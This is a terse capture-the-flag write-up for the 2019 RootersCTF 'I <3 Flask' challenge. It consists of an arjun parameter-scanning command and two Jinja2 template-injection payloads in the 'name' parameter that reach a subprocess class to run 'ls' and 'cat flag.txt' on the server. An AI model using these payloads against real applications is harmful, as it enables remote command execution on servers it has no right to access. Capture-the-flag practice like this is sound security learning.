> For the complete documentation index, see [llms.txt](https://gitbook-88.gitbook.io/ctf-writeup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://gitbook-88.gitbook.io/ctf-writeup/2019/2019-rootersctf/i_-3_flask.md).

# I\_＜3\_Flask

```
arjun -u http://1f777ff7-72d7-4d96-a8a3-06040d3abb81.node4.buuoj.cn:81/ -c 100 -d 5
```

```
/?name={{%27%27.__class__.__mro__[1].__subclasses__()[222](%27ls%27,stdout=-1).communicate()[0].strip()}}
/?name={{%27%27.__class__.__mro__[1].__subclasses__()[222](%27cat%20flag.txt%27,stdout=-1,shell=True).communicate()[0].strip()}}
```